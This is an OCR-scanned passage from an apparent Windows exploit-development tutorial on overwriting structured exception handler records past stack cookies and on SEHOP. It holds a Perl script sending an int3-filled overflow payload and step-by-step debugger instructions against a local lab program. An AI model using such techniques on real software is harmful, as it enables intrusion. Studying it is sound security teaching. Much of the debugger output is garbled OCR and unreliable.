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Pomter to next exception
handler block

Pointer to exception
handler (address of catch)

Y

Pointer to next exception

handler block

Pomter to exception

handler (address of catch)
/

Y

Pointer to next exception
handler block

| Pomter to exception

/ handler (address of catch)

From our point of view is the interesting is that, this structure can be found on the stack. So what
can we do. If insted of the OLD EIP we overwrite a pointer to the exception handler, and we trigger
an exception then our code will run.

Pointer to next exception
handler block

Pointer to exception
handler (overwritten)

Y

PPointer to next exception
handler block

Pointer to exception

handler (address of catch)
/

Y

Poimter to next exception
handler block

| Pointer to exception

/ handler (address of catch)
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The stack in this case looks like as:

OLD EIP A

OLD EBP

Pointer to exception handler

Pointer to next SEH

Direction of overwrite
Stack cookie

Local variables

Now one may think that it worth us nothing because the SEH record is also protected by the "Stack

cookie". But it is not true, if the application goes to the exception handler it does not check the stack
cookie.

Start to write the exploit, to do it start the old version of the patching.exe, when the program starts
type 0 as nuber, to trigger the exception.

.| Administrator: Command Prompt - patching.exe

:~0ld>patching.exe
nter a numbher if B divizion by zero fires the exception handler:

Then start the immunity debugger, and select file / attach to attach the running application

4. Immunity Debugger - [CPU]

C View Debug Plugine ImmLb Options Window Help Jobs
| Open F3 2ilied+ 1 emt
Dekach
Exit Alt+¥
1 C:\Old\patching.exe Cirl+F2

in the appearing window select patching, then click on the attach button:
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Find: PA =] B4
PID | Hame Service Listening Window Path S
1726 | postares Cz~PROGE
1726 | postgres C:~PROGE
1728 | postgres C:~PROGE
1795 | postgres Cz-PROGR
1264 | postares C:~FPROGF
1852 | swchost FaolicwHaent Cz~Windo
1864 | swchost RemoteRegistry Cz~lWindo
1944 | suchost W2EUC, WAS Cz~lindo
1956 | suchost WerSue Cz~lindo
2E32 | msdtc MSOTC Cz~indo
21868 | taskeng CicerallIlndFramne Cz~Windo
2164 | Dwm OWM Mot if ication Window CzWindo
2212 |Edplorer Start Cz~Windo
2360 | UBonTraw UBoxSharedCl ipboardClass Cz~Windo
2484 | cmd Administrator: Command Prol C:~Windo
2544 | omd Administrator: Command Prol C:sWindo
2775 | patchinag Cz~0ld~p
SE7E | swchost TapiSrw Cz~indo™
2565 | UCERpress ODE Serwver Window C:~Proar ™

Attach I Cancel I

After the attach the application will be in paused starte so start it by clicking to the play button

4. Immunity Debugger - patching.exe - [CPU - thread 00000034, module ntdil] O] x|

File Wiew Debug Plugins Immlib Options Window Help Jobs ;lilﬁl
— ) |
5 B B 44 [ | ili*J=+ 1 emtlwhcPkbzr 5
oF RETH i
e &7 FUSH EDI | Peaizrers (PP .
z T
] H + A .

772E2E23| C7@2 geeeeeme | MOU DWORD PTR DS:[EDX], O B R e L
772E0E3F| £97A o4 MOU DWORD PTR OS: [EDX+41,EDI EEn poamaane
7rzESE42| GBFF OR EDI,EDI ESF posorrec
Piihonic| bacs FE OF ECR,FEFEFFFE [l E51 2oagomas
772EAE43| 330A ROR_EAN, EAX EDT pEBREEag
crzEaRdE| FoibE REFNE SCRS BYTE PTR ES: [EDID EIP 772BSBZF ntdll.772B3B2F
FPIECE4F| B1F3 FFFF@@@A | CHP ECH, BFFFF SR e AR AR A A
7ropoEss| 7 @5 JEE SHORT ntdll.772B3BSC B e e A A A g
FPCESEST| BS FFFFeeea | HOU ECH, BFFFF R e B ol A A A g,
772E2ESC| £:894A B2 MOU WORD PTR DS: [EDH+21,CH S s e ol LA A AR
7reEcEce| 49 DEC ECH 90 B A
crzEsEel| 66:a90R HOY WD PTR DS: (EDXD, CX L
b e e — ONED {0 @ LastErr ERROR_SUCCESS (900666GG)
7ropoEes| £7 PUSH EDI EFL BB@88246 (NO,ME,E,BE,NS, PE, GE, LE]
Feturn to rPEFCORB (nedll. 7r2FCona STB erpty @, HOAEERPPPBREGEARRAEE

STl empty B. B0AEEEEEEEREEEAEEEEE
5T2 Ethy A, BEAAEEAREEAEEEAAEEEE

Address |Her dump ASC & Fr2FCoRE| AF- W RETURH to ntdll.772FCIAE from ntdll.OE o

- BRIOFFEE| 71408297 08Hg
GR4E306E| F7 63 41 B3| @3 JC BE FC|=cAnf qaoCPred) Clabeesr) usrc
B@403062| FE FF FF FF|FF FF FF FF e e e
BR4a3616| FE FF FF FF| @1 @2 03 60| R e oD
BB483615( 34 21 48 6B BB 00 00 oo|4re | ZASOFFEL) BE2EEEEE) ...
BR4A3626| B1 BB @3 BE)CH 19 CF 606 =

12 |eecoFFre| eosoeaca) ...
gosasoze|oa 15 CF 99|08 00 99 99)-'= leea0FrFrs| @esDFFCa|- Zl|Pointer to nent SEM record

AR4aaess| B0 60 PE ool BB 0B oo Go) ... BEI0OFFFC| 7Y2799FA[ - w| SE handler

BRZDFFSE| BEECCECT| (e
PR4E3E46| B8 G0 00 06| GO G0 G0 06| ...
BR4E26R42| 60 G5 G5 66| B0 08 A6 Ae|... | 9930FFS4) Bo@ooaod) .

BE30FFSS| FeBI0FFa4| & .
oo oo o oo ool aa oo oo 22--- Jessorrec| | Prenoecs E“.w RETURN to kernel32.77BA0GES o
PE4GSELE( B0 OO 0D 00| 66 06 oo o ... = DISOFE2E | naRaaaas) .. =
- -+ 2l ppaner sl eapanernal b2

Biog Ereedt | - SR
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The application will continue to run:

4. Immunity Debugger - patching.exe - [CPU - thread 00000034, module ntdll]

@ File View Debug Plugins Immlib Options Window Help Jobs _||5’|£|
OB TE X P U wHEEY lemtwhcPkbzr..s ?ll
FT =F |JE] RETH -
7rZBoEG0| 57 PUSH EDI a | Feaizvers (PP -
Chobcbos| BEcars s HOU EDi. DUORD FTR S5: [EaP+ad ECY eopageng
. f + . .

7rEESEIS| CPOZ GBPPPe8a | MOU OWORD PTR OS:[EDXI,8 S [ A el SRl S o e o
7reESEIF| £297A @4 MOU DWORD PTR D3:[ECX+41, EDI EB poomEmEn
7reEoEaz| GBFF OR EDI,EDI ESF poenrres
e Bk, R Biaaurese S
772E2E49| 33Ce WOR. EAs, EAX 20, (Gl
7r2bebde| FaahE REPNE SERS EVTE PTR ES:[EDI] EIF 7P2BSEZF ntdll.772BSE2F
FPEECEAF| S1F3 FFFFO@@8 | CHP ECH, BFFFF B e s A A A
772EEES5| 76 @5 JBE SHORT ntdll.772B2ESC B L G pplE Zebiv BRERRERECES
F72ESES| B9 FRFFEA0E MOU ECX, BFFFF o e A AR A A
FPOECESC| 66:B34A B2 MOU WORD PTR OS: [EDX+21,CH -

S @ FS @036 32bit FFFOE@@A0FFF)
7PZEEEEA| 49 OEC ECH A i
7rEeEel| 66:590R HOY UGRD PTR DS: (EDXD, CX LB
ez G e 2 0@ LastErr ERROR_SUCCESS (DBRBEEAE)
772ReR6E| 57 PUSH EDI >N EFL pepEEz4E (HO,NE, E,BE, NS, PE, GE,LE)
Return to 7P2FCORE (ntdll. 772k Cona STA empty 0. EAREOAOEEAEEEOODE0D

ST1 empty @.00000OOPOOODDEODDEEE

ST2 empty 0.090A0CRPOAODNAAAODND

=

Address |Her dump ASC & FreFCoRE| AF-wW| RETURH to ntdll.772FCIRE fram ntdll.l:lt‘l

= BOCOFFED| r14DB297 | 08Ma
BOSOFFES| HOREGROE| .
[ |
oa4a3a1E( 34 21 40 00| 6A 0o oo oa|dre | BESOFFER) BoaeRaed
BE4AZEZ0| 5] BB BB BE|CH 19 CF @6|8

iz |oedoFrre| eoaoedal ...
eoaaca|Ba L2 G go|gn oB o3 231-""  |oeDFFrs| ee3DFFC|- Il|Pointer to nest SEH record

AEdpoEce| 6E 0B BE 06 66 G 6o Gol .. BEZ0OFFPC| Fr2799FA( - w| SE handler

BAZ0OFFSA| BESCLZCT | [bré
PR4AZR40( B8 PR 0P 06| G0 B 0D GG ...
BR4E3E4S| B0 G0 60 06| B0 6P GO @l ... | 99S0FFR4) ooGoEOGOH) ...

BBS0FF 5| rBOS0FFa4| & 2
o aaoea|ga oo ga 2ol o 22 22 22):--. ] eesorrec [??BHDBEB 8. w| RETURN to kerne |32, 7FBADBED —
B0403068| B0 08 0@ @0 80 oa oo po| ... = 2AEOFFED)| 0GRRAEE .. . - E

|[1@:38:55] Thread B88HAD34 terminated, exit code @ |Running




Patch-based exploit development with /GS and SEHOP bypass 61/122

now the application is running. Finally send to it the data by the al.pl

z.| Administrator: Command Prompt

:0l1d>al.pl
:~01d>

The application pauese because of the division by zero.

4. Immunity Debugger - patching.exe - [CPU - main thread, module mydil]

File Wiew Debug Plugins Immlib Opfions Window Help Jobs -||5’|£|
OB TE MX P U wHEEYS lemtwhcPkbzr..s?ll
FreD BC TOIU DUORD FTR _S&: [EBF+C]
EACC107E| 3945 6C MOU DWORD PTR S5: [EBF+C1,EAX A\ Peaizrers (PP :
EACE1A7S EE @D JAP SHORT mudl1.GACS1855 B e
EACS1G7E| C74E FC FFFFFFFIAOU OWORD PTR S5: [EEF-41,-1 Er
SeEaig| i a3 HiEE, @rRomElL o EHRIESER EEX 6ES511DCC MSUCRIS.printf
EACE1855| CP48 FC FFFFFFFIMOU DWORD PTR S5:[EEP-41,-1 Bt
EACE1REF| SB4D F4 MOU ECH,DWORD PTR S5: [EEF-C1 ES] DEr3598C WS 22.closesocket
EACS1G92| £4:89B0 BOBEEESI MOU DWORD PTR FS:[81,ECR = e :
EACE1G33[ 59 FOP ECH
SRCS18%A| S FOP EDI EIF 6ACS1673 mydl L. 6ACS1E7S
C @ ES 9822 32bit BIFFFFFFFF)
EACS1GIC( 5B FOF EB: ) _ F @ C5 @eiE 32bit BIFFFFFFFF)
EACE1RS0( ZB4D ES MOU ECH,DWORD PTR S5:[EEP-181 DB i oo e SRCLESIERES
Sae i) sl Al (BE6, Ela £ B D05 BB23 32bit BFFFFFFFF)
SACE1EAZ| EE O4@a@aas CALL mudll._ securitw_check_cook i S @ FS BESE 22bit FFFOFEEELFFF)
EACS1BAT| SEES HOU ESF, EEF 90 L e e
SAceionn| 03 RETH. D2
SACS1GAE| 3BB0_1S3BCSEA | CHP ECH,DUORD PTR DS:[__security_f - % L==tErs ERROR_SUCCESS [BBROOEEG)
EACEIGEL| 7E @2 JNZ SHORT mudll.EACE]GEE EFL B@a18262 (NO,HNE,NE, A, NS, FO, GE, &)
Stack S55:[BA12E0S41-BOGEOGEE STE empty 8. DOGEHEEEEEHEEHHHEEHEHE
ST1 enpty O. BBAOBERAEEABRPAGGERE
ST2 emnty . BEGARBAODGARCARDADHG
=1
Address |Hex dump ASC BIEI2EE0 2] 5
DR4BS0RA| F7 63 41 03| 65 oG BE FL| foR—f D012E0d6| HOB0GESE|P.. . -
BRIZESS4| 7EF933EC|.3i0|WS2 22, closesacket
BE4GIRRS( FF FF FF FF|FF FF FE FF DO12E334) TEFSSSOL) 3. | WSS B2 closesc
BE4G2A16( FE FF FF FF|@1 B8 0o 08(a I#id -prin
BELZESSC| BEBEEELL|...
BE4GZALE[( 24 21 40 BO| 00 DB 0O BO[4tE
BAIZESE( 41414141| AAAR
BE4G2AEA( 61 BB 06 BO|CE 19 CF 66| 6. .
i |e81ZE54d| 41414141|AARA
BE402EE5( 68 13 CF Bo[6p &5 oo ool . i
BE4B3E30| B0 55 B0 BO| PO DO PO BE faligiesats) ol sl BRRR
o+ 1Ba1ZE34C| 41414141 AAAAR
BE4GIE3E( 00 BE 00 68|00 05 00 66| ...
BA1ZESEE( 41414141 AAAD
BR4GIGA4A( 00 DR OG BO| 00 BB 6G 66| ...
BAIZESE4| 41414141 AAAA
BE4B3045| B0 G0 00 Dol oo o oo ool ... |D21ZEES3) 4141d14limnnn
BE4HAEA( B8 BE OO BO| 00 BB 0O 6| ...
BALZESEC| 41414141 AARRA
GE4A3RES( A GO 60 08 66 08 6o oo ... SB1ZESSE 41414141 ARnR
BE4ESHE0| B0 PO 06 06|66 0o 0o oo| ... Wl 991ZE360] 41414141 RARR -

|[1@:4E:25] Integer division by zero — use Shift+F7-F8-F9 tu| |Paused

Let us examine the content of the stack, to figure out how it should be overwritten scroll the stack
window until the end of the letter "A":

EA1ZEDZ4 | 41414141 | ARAR

EEl2EDZE| 41414141 ARAR -
FA1ZEDZC|) 41414141 ARAR
EEl2ED4E| BISI20B@ | HiSe
EA1ZEDSd | DOBRE4EE| &, .
FE1ZED4E| BE1ZESZC| 04,
HElZED4C) BE1ZFFPE|# #. | Pointer to nest SEH record
BE1Z2EDEE| SACS1ASE|$+i| SE handler

EA1ZEDE | POEREEEE| ...
FE1ZEDSE | re@l2FF44 | O #.
HE1ZEDSC|| BE4B1268( he®,. | RETURH to patching.BB4B81268 from patch
EE1ZEDEE || BE1ZEF3S| Sn¥, |
EE1ZEDES || BEEEEEEE| | .. .
AE1ZEDES || BE4RZ2EC| ~ @, |ASCII "Butes received: X4E™

aadernec ] ARAARARL | g )
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As we can see if we send instead of 1024 bytes 1044 bytes then we overwrite the exception handler
as well.

First try the following: we controll the letter "A" so it seems to be logical, to simply set the
exception handler to the beginning of the "A"-s, what is 0x0012E940 as it can be seen on the before
the previous picture.

To test this theory modify the pearl script as follows:

use I0::Socket;

my S$sock = new IO::Socket::INET (
PeerAddr => '127.0.0.1",

PeerPort => '12345",

Proto => 'tcp',

) ;

die "Error: $!\n" unless $sock;
my $line = "\xCC" x 1040 . "\x40\xE9\x12\x00";
my $len = length $line;

my Smsg = pack "L", S$len;

print $sock $msg . S$line;

close ($sock) ;

we change the letter A to \xCC what is the int 3 instruction, to see if our code starts to run.

Then close the debugger, and restart the application. Type 0 as number, to trigger the exception
handling:

v | Administrator: Command Prompt - patching.exe

:s0ld*patching.exe
nter a numher if B division by zero fires the exception handler:

start the immunity debugger again, and from the file menu select the attach command

& Immunity Debugger - [CPU]

C View Debug Plugine ImmLb Options Window Help Jobs
| Open F3 2ilisgJ+f 1 emt
Dekach
Exit Alt+¥
1 C:\Old\patching.exe Ctrl+F2

in the appearing window select patching, then click on the attach button:
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Find: PA _ O] x|
P10 Harme Service Listening I i n o Fath -
1628 | postares C:~FPROGE
1728 | postares C:~FPROGE
1780 | postgres C:~FPROGE
17258 | postares Cz~FROGE
1795 | postares Cz~PROGE
15864 | postgres C:~PROGF
1852 | swchost FPolicwAgent Cz~Windo
1264 | suchost RemoteRegistry Cz=lWlindo
1944 | swchaost W2EUC, WAS Cz~Windo
1956 | swchost WerSuwe Cz~Windo
2E32 | medtc MSOTC Cz~lWindo
21868 | taskeng CiceralIlndFrame Cz~lindo
2164 | Owm OWM Mot ification Window Cz~lindo
2212 |Edplorer Start Cz~indo
23660 | UBonTraw UBoxSharedCl ipboardClass Cz~Windo
2484 | cmd Administrator: Command Pool C:-llindo
2644 | omd Administrator: Command Prool C:-Windao
SEFZ | swchost TapiSrw Cz~Windo™ ]
2122 |patching C:~0ld~p ™

Attach I Cancel I

After the attach the application will be in paused starte so start it by clicking to the play button

4. Immunity Debugger - patching.exe - [CPU - thread 00000034, module ntdil] O] x|

File View Debug Plugins

ImmLib  Options

Window Help Jobs

| BE 42 104 of

l emtlwh cecPkbzr

e T E X p |
i i C2

— - RETH Regist [FFL1
7robobas| &7 PUSH_EOI T
SEooot| BPLase s HOU ECi, DWORD ETR S5: fEoPasd ECY BoRGREA
o H -+ . .
7rEESEZS| Cr@Z @EDROSA | MOU ONORD PTR OS:[EDXI,B B R e L
FPEESESF| 29rv@ 64 MOU OWORD PTR OS: CEDH+41,EDI SE i
FrEEEEAZ| BEFF OR E0T,EDI Eol e
SiiEirac| gachFr DR ECi FEREEFFE ooood | Es1 genooeon
7rZESE4S| 33CE S0R_EA%, EAX 201 lzlalilzlzlal
77ZB3B4E| F2:HE REFNE SCRS BYTE FTR ES: (EDI] EIF 772BSE2F ntdll.7F2BSEEF
FPIECE4F| B1F3 FFFF@@@A | CHP ECH, BFFFF SR e AR AR A A
FFEESEEE| e g JEE SHORT ntdll.772ESESC D h oD pey moelE LnEtnnesas
FFEESEST| BS FFFFEGEE HOW ECH, BFFEF B 2 e oY NELEREREE
FPEESESC| 66:g94n B2 MOW WORD FTR DS: [EDH+21,CH G b o G eoole SLERARREE
FrZEIEGA| 432 DEC ECH g0 B el e
FFEEEGL| &6:S98A MOW WORD PTR DS: [EDKI1,CH .
A [ Eee— mOERER 0 @ LastErr ERROF_SUCCESS |GEEGHHHE)
FreEoEes| EF FUSH ECI * | EFL @EA@EZ46 (MO, HE,E,EE, NS, PE, GE,LE]
Return to FF2FCO9AE (ntdll.772FC2AA) 5TA empty A, AEAARCAAREEABERAEEEE
5T1 empty 0. GEAOOEOREEAEEEAGEEGR
ST2 enpty 0. DEAEDGADDGEADEERDGEND
=
Add H d AsC Yr2FC9RE| AF-w| RETURH to ntdll.772FCIAE from ntdll.0OE
T=== \hes SuTe —2= K CGsOrFed| 1408257 |udHa :I‘

O0403000] Fr 63 41 03 00 9C BE FC|scA—f cocDrrsd) rl40oass
BE4E3E62| FF FF FF FF|FF FF FF FF e

BEI0FFES| ooooooaa) ... .
BE4E3E18| FE FF FF FF|@1 28 o0 oo|a

BES0FFEC| ooReRasa| . ...
BE4EIE15(24 21 40 op|oe 56 6o oB|4te gog

BES0FFTE| GES0FFSE| " =.
BE4E3E26( 61 66 60 GBlce 12 CF oo|a..
BE4ESEEE| B8 12 CF 0| oo Ba 5o op| . 0= | PBS0FFTd| BEBEBEEE| ....|

o BA3IDFFYS( BA20DFFC4|— =.|Pointer to next SEH record

EE4EI0z0| 00 @6 oo ooloe ee oo oel... :

BEI0FFTC| 7revasFAl -6 w|SE handler
BE4E3635| 06 66 60 oeloe ea oo oel. ..

BEIOFFEE| BEECCZCT| [+
BE4E3640| B0 P96 00 0| e @6 GG oo BoSOFFS| Bectiett
BEIEZE42| 00 B6 60 oo|oe BE Bo ool . goac
BR4GIGEA( 60 6O 00 60|60 05 G0 A6/ . S gAY TalE ey =
Bo403068| 60 0 o8 8o 50 o8 oo oo| ... = BASOFFED)| BOGROA0E .. . -

|Ehuw threads

|Paused

The application will continue to run:

63/122
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4. Immunity Debugger - patching.exe - [CPU - thread 00000934, module ntdil] =]
@ File Wiew Debug Plugins Immlib Options Window Help Jobs - ||5’|i|
OB EE WX P WY+ 1l emtwhcPkbzr.s?|Ji
Fi 2F RETH & |Registers (FPLD £ £
FFIESEI6| &7 PUSH EOI ELEE T
) Brmew el o e e | s
. : + . .
TrEESEZS| CPBZ GEEOBOSA | MOU ONORD PTR OS:[EDXI,H Sl s e ROl SR =S
FPZESEZF| 2970 B MOU DWORD PTR DS:[EDx+41,6 |ESE ZE982RE0
FrIEcE4z| GBFF OR EDI,EDI el e
Fr2EcE44| 74 1E JE SHORT ntdll.7reEopsed S
FrIECE4s| 9309 FF OF ECRE,FFFFFFFF e
FFIECE4D| 23CA %0F_EAS, EQ
772BOEAE| FaibE REPME SCAS BVTE PTR Es:CEC__| EIF 772B2B2F ntdll.772ESEEF
TTEESE4F| S1F3 FFFFBO88 | CHP ECH,BFFFF ERN- =y i s
7FIESESE| 76 BE JBE SHORT ntdll.772BSESC Lo 5 oo ool hELEArEAE
7FZESESY| B2 FFFFo@Ee MOL ECH, BFFFF e S b I
FPIESESC| £G1S94A B2 HOY WORD PTR OS: [EDR+21,0% |5 3 Fo aose oob.t SFFRR@om.FEE)
FrIECELE| 49 DEC ECH 52 LG ool
772ESEEL| 66s390A HOU WGRD PTR DS: (EDK], CX .
REESEAS B8 o IERED 0 8 LastErr ERROR_SUCCESS (BOBEBHEE)
FPIESEEE| BT FUSH EOI EFL BEEEE24& [MO,HME,E,BE, NS, PE,5E,LE]
FPIEEESD| SEFCZ4 BC MOU EDI,DOWORD FTR S5: [ESF+
TPIECECD| SES424 @S MOU EDX,DWORD PTR S§5:[ESP+ | 21§ Enmty 2. B eaooanaang
FFZECEFL| CYEZ GeBeEesa | MOY OWORD PTR DS:[E0AI, @ e e B BABRREEBAREEEEAERRE
FFZESEFY| S97A Be MOU_DWORD PTR DS:[EDA+1,E_f 215 Shors B Aesanoonaaeaa0000668
rrEBSEVAH| EBFF Or ED1,EOI 5T4 empty ©.O00AGEG00AGEEERGHGEGE
Return to FF2FCO9AE (ntdll.772FC3AA) STE empty B, BE0EEEEEEEEEEEEEEEEEA
5TE empty O, BOOROEOORCEGE0CREE0E
ST empty 1.2519775166695 107 0ERE-312
221 a EcPU0z7Dl
Address |Hew dum 77 ZFCORE] A w| RETURN to ntdll. 7r2FConE from ntdll. Db 4
B = * VAGZAFFEn| T1E97967| anin
GE4E5000| L6 B2 6o 60|07 40 93 97 MBI oasarrcs| oooamaoy
eR4GE26862( FE FF FE FF|FF FF FF FF sees
BEZAFFES| oooBoeeE| .. ..
BE4E2E16| FE FF FF FF|G1 06 00 60|
+i | B82AFFEC| Geoececal . ...
BR4AZE12( 34 21 40 06| 63 DO G2 06| 440 : vt
BEZOFF7H| BEZOFFSE|* +.|ASCII "axig
PR4AZAZE( A1 B6 OB 66| CH 19 1A 666, .
BR4E362E| @8 12 LA B8 68 GG 0@ o@|,1d | DHSAFFF4) DEEOEAOA) . ...
BEZAFF 7S BEZAFFC4|— #.|Pointer to nedt SEH record =
BB403030( 00 00 09 6@ B0 00 00 00|... f SoSAEroE| BESHEELY - . |Pointer
BE4E3635( 06 BA B0 60|06 B8 B0 60[.. Y S-Shrrial DESLAAES) oY Y anater =

[Run program ¢F9D

Running

now the application is running. Finally send to it the data by running the a2.pl

.| Administrator: Command Prompt

w0ldra2 . pl

s01d

The application stops because of the division by 0 error
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4. Immunity Debugger - patching.exe - [CPU - main thread, module mydil]
File View Debug Plugins Immlib Options Window Help Jobs - ||5’|£|
OF%TE Mx > I ¥+ lemtwhcPkbzr.s?J|
Frrh BC TOIY OWORD PTR S5:LEBF+C] i
TAEZIGTE| 5945 GO MOW DWORD FTR S5: LEBF+C1, EE&LEEEEEBQEPU] .
74621879| EB BOD JHP SHORT mudl 1, P4621085 ECh Boo00058
4621G7B| C745 FC FFFFFFF|MOU DUORD PTR S5t EEP-41,-_| Elv Banseaon
[irnaid| e e ML, BRI o e S EEH EBEDIDCC MSUCRSE. printf
74621825| C745 FC FFFFFFFIMOU DWORD PTR SG: [EBP-41,- |ESF BA1ZEZaC
F4E21B9F| 2B40 F4 MOU ECH,OWORD FTR SS:[EBP- | pFo S2R5588F oo 2o | occaocket
F4E21692| 6£4:2900 GEEGEGEG HOY DWORD FTR F3:L[81,ECH E I c
74621833 52 POF ECH
74521@%a| &F FOF EDT EIF 74621673 mydll.74621873
7462183E| SE POP ESI :
C B ES BE23 32bit BIFFFFFFFF]
ragz1@3c) SB POF EB: F @ C5 eniE S2bit ©iFFFFFFFF)
74621030| B2E4D ES MOU ECH,DWORD FTR SS:[EBF- |0 8 5o faes a5k i+ aiFFFFERFF)
iy r L - S e : £ @ DS 9B23 3Zbit BIFFFFFFFF)
74621002 ES D4PO0O0E CALL rmudll.  securitu_chec |5 2 Fa G958 Gonit SFFRERGRLFEE)
F45210A7| SEES HOL ESF, EEF = H O aeS sl
Zaez1onn| o5 RETH D@
7462160E| 3B60 1366274 | CHP ECH,DWORD PTR DS:[__se |D @ LastErr ERROR_SUCCESS (B@@8@R0E)
rdeclobi| 7c ez JNz_SHORT mudLL. 74621685 EFL @BEl8282 (MO, NE,HE, A, NS, PO, GE, 5]
d d STE empty 0. B000EA008A0EEAREEEEG
rdczlBBdl L3 RETH . 5T1 empty O, O00DOEO0E0CEGEEOEEEEE
Y46218EE| E9 FRBZ8G0EH JHMP mudll.___report_gsfailu ST emptu B, DOOEEEEHEHEEEEEEHHEE
TASZ1BER) EEFF M Al wl 573 erpty B AEOREEOEEAEEAEEHEGGM
5T4 empty O.BE0ORCROEROEOROORGEGE
Stack 50t [O01ZEDES 1-DOOODGEEE 5TE empty 0. IOCROEODECEEREERGRGE
5TE empty 0. BEEEEEGEEEEER0EEGEGE
5T7 empty 1.251977El66635167A00-312
2z 1@ E=FUOZ0D]
Add H d SE7FFE3GF | owdh
e R e e i [ T L =
andazeez| FE FE FF FE|FF FF FF FF AE1ZESZ4 | FEFI33AC| 20| W52_32.closesocket
BE12E922| EBED1DCE| [Femk | MSUTRIS. printf
BE4E3816| FE FF FF FF| @1 00 90 06(s e e e
6046301234 21 48 00|00 6o aa oa|dre | 2B1SEIEE) BARARALL dL..
Be483020( 81 B8 08 68| CB 19 1A oa|e,. | J21SE34R) REELELLE L |
BR4EIEZE| B8 12 10 00| 68 08 80 BE| . 04 FIFIFIE
BE1ZE942| CCCCCCCC| [FIFFF
BE4EIEZI6| BR B0 G0 00| OO OF 00 OO . SBI1ZEZAE| CEEREERL) (L
G3403033| 69 00 6 68|00 6 po oa) .. > B91ZETAE] CLTLCEET IHr -
[[11:25:33] Integer division by =zero — use Shift+F7-F8-F? tu| |Paused

scroll the stack window to the end of the "\xCC"

As we can see the address of the exception handler is modified to the value we wanted

BE12ED4A
BE12ED44
Ba12ED4S
BE12ED4C
BE12EDSA
BE12EOS4
Ba12E0SS
BE12EOSC
BE12EDEA
BE12EDE4
BE12EDGES
BE12EDEC
BE12ED7A
BE12ED74
Ba12EDFS
BE12EDFE

CCCCCCCE
CCCCCCCE
CCCCCCCE

CCCCCCCE| |F
BR1ZE248| EAF
BEREEAAE . .

BE12FF44
AE4E1 262
BA12EF 33

[EIFIFIF
IFIFIFIF

BEREEAAE| . .

BR482250
AEREE4 12
AE483338

AEREEAA] | A

[a]a]a]s]alala]s]

BOGER166) , 8

F|Pointer to nedt SEH record

S5E handler

RETURH to patching.Bd4d1268 from patch

ASCII "Bytes received: HAE™

OFFSET patching.__native_startup_lock _I

-

(0x0012E940). To see if our code runs press shift + F9. Because it contains int 3 if starts to run the
debugger will immediately stops.
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4. Immunity Debugger - patching.exe - [CPU - main thread, module mydil]

File View Debug Plugins Immlib Options Window Help Jobs - ||5’|£|
o T X b I b MR e = ]emtwhcl}kbzr...s?.|
FreD G0 I0IU OWORD FTR S5: LEBF+C] -
TAEZ107E| B945 6O MOU DWORD PTR S5:[EBF+CI, B EE?EESEEB;EPU] R
74621679 EE GO JHP SHORT mudll, 74621685 | Ect acaans;
7462167B| Cr4S FC FFFFFFFI MOV DWORD PTR 553 [EBP-41, 0 Epl Jodiiaas
74621632 B2 SF1PEZTd MOL ERX, mud L L. 7462 1GEF EE EBE0IOCE MSUCRIB. printf
7A6Z1057| C3 RETH E2P G618EGSE :
74621838 C745 FC FFFFFFF] MOV DWORD PTR SS:CEEP-41,- | EiF anisEoes
746Z103F| SE40 F4 MOU ECX, DWORD PTR SS:[EBP- | EET SPRSEC8F oo oo || osesocket
74621092| £4:8960 @EEAEEE| HOU DWORD PTR FS:081,ECH ED] boboaeSE :
va6z1m93[ 53 POF ECH
;iggiggg EE ESE EE% EIF v4&Z218732 mudll.74621073
C 8 ES @B23 S2bit @0FFFFFFFF)
ragz1@3c) SB POF EB: @ C5 @@iE S2bit ©iFFFFFFFF)
74621690 SE40 ES MOU ECX,DNORD PTR SS:[EBP- |5 5 22 ames oobit i FFFEFFFE)
iy r L - S e : £ @ DS 9BZ3 3Zbit BIFFFFFFFF)
v4eZ10RZ| ES p4nenone CALL mydll._ security_chec & & F2 §82= Z50:T ZLERERCOrElc,
T46Z10A7| SEES MOL ESF, EBF T8 Ge eees ML
Tacoiaan| ca RETH- o g
e e e | Ecx_w_[_ﬁ;l 0 @ LastErr ERROR_SUCCESS (AGEGAGEHE)
Stack SS5:L@A1ZEDED ] -AOOEEEEE EFL @888168z82 (MO, HE,ME,R, M3, PO, GE,G)
5TE empty B, HEEEEEEEEEEEEEEREEEE
STL ety 0. 00266000000566000002

Address |Hed dump

Ba4azeaa| Cé B2 &6C &8| 32 40 93
BA482883| FF FF FF FF|FF FF FF
BE4E3E818| FE FF FF FF| @1 @@ @8
BE4E3E18| 34 21 48 88|68 BE B8
HR4ESEZA| Al AR @@ BA|CA 19 1A
BA4ESEZZ @B 13 1A 68|60 GE &8
BA4EZE30| A0 BE B8 GA8| A0 OE B8
HE4EZE32| B0 B0 B8 88| E0 G0 68
BE482840| 06 60 88 88|60 68 88
BA4EZ843| B0 B8 B8 88|80 68 88
BE4EIE5E| 08 G0 B8 80|08 Q0 EE
HE4EZEEE| B8 B0 B8 88|68 BE B8
HE4ESHEA| BB BE B8 88| B8 BE @8
HA4EASHES| BB BE B8 6|60 GE @8

Fete PR rtatriard el R Tr Bl e e B e e B e e L e e BT B Te

[Dehugged program was unahbhle to process exception | |Paused

ST

637FE36F | owah i
HE1ZETSH| DABBEaasa P, ..

BE1ZEZ24 | FEFIZZAC WE2_Z2.closesocket

BE12E222) cBeD1DCC MEUCRYE. print+
BE1ZEZSC) CABEEEL1
BE12E348| CCCCCCCC
BE12E944| CCCCCCCC
BE1ZEZ42) CCCCCCCC
BE1ZEZ4C| CCCCCCCC
BE12E3SA| CCCCCCCC
BE1ZE354| CCCCCCCC
BE12E952| CCCCCCCC
BE12EIEC| CCCCCCCC
BE12EI5H| CCCCCCCC
BE12E254 | CCCCCCCE| |FIFIFE =
golzEses) COCCorer IFIFIFE

Ok, as we can see the application is immediately stopped, but in the debugger window there are no
int 3 instructions, and even worse, at the bottom the debugger says the "Debugged program was
unable to process exception".

What happened?

What happened that is called Structured Exception Handler Overwrite Protection (SEHOP). It is
turned on by default on windows 2008 machones, and it can not be turned off. What it does that was
described in detailed by www.exploit-db.com/download pdf/15379/

* The SEH chain must be never corrupted it is checked by walking through it, and the final
one MUST point to ntdll!FinalExceptionHandler, and the next exception handler pointer
MUST be OxFFFFFFFF.

* The exception handlers MUST point to a 4 byte alligned address.

* The exception handlers MUST NOT point to the stack.

* The address it points to must be marked as executable even if DEP is turned off

* All next exception handler pointers must point to stack locations.

* If the destination address is within a SAFESEH enabled module then the destination address
MUST be in the valid Exception handler list of the module

On windows server 2008, and windows server 2008 R2 enabled by default
On windows vista sp1 also supported but disabled by default.


http://www.exploit-db.com/download_pdf/15379/
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So there were at least three causes it was not running;:

* the pointer we used 0x0012E940 is on the stack.
» The stack is not marked as executable
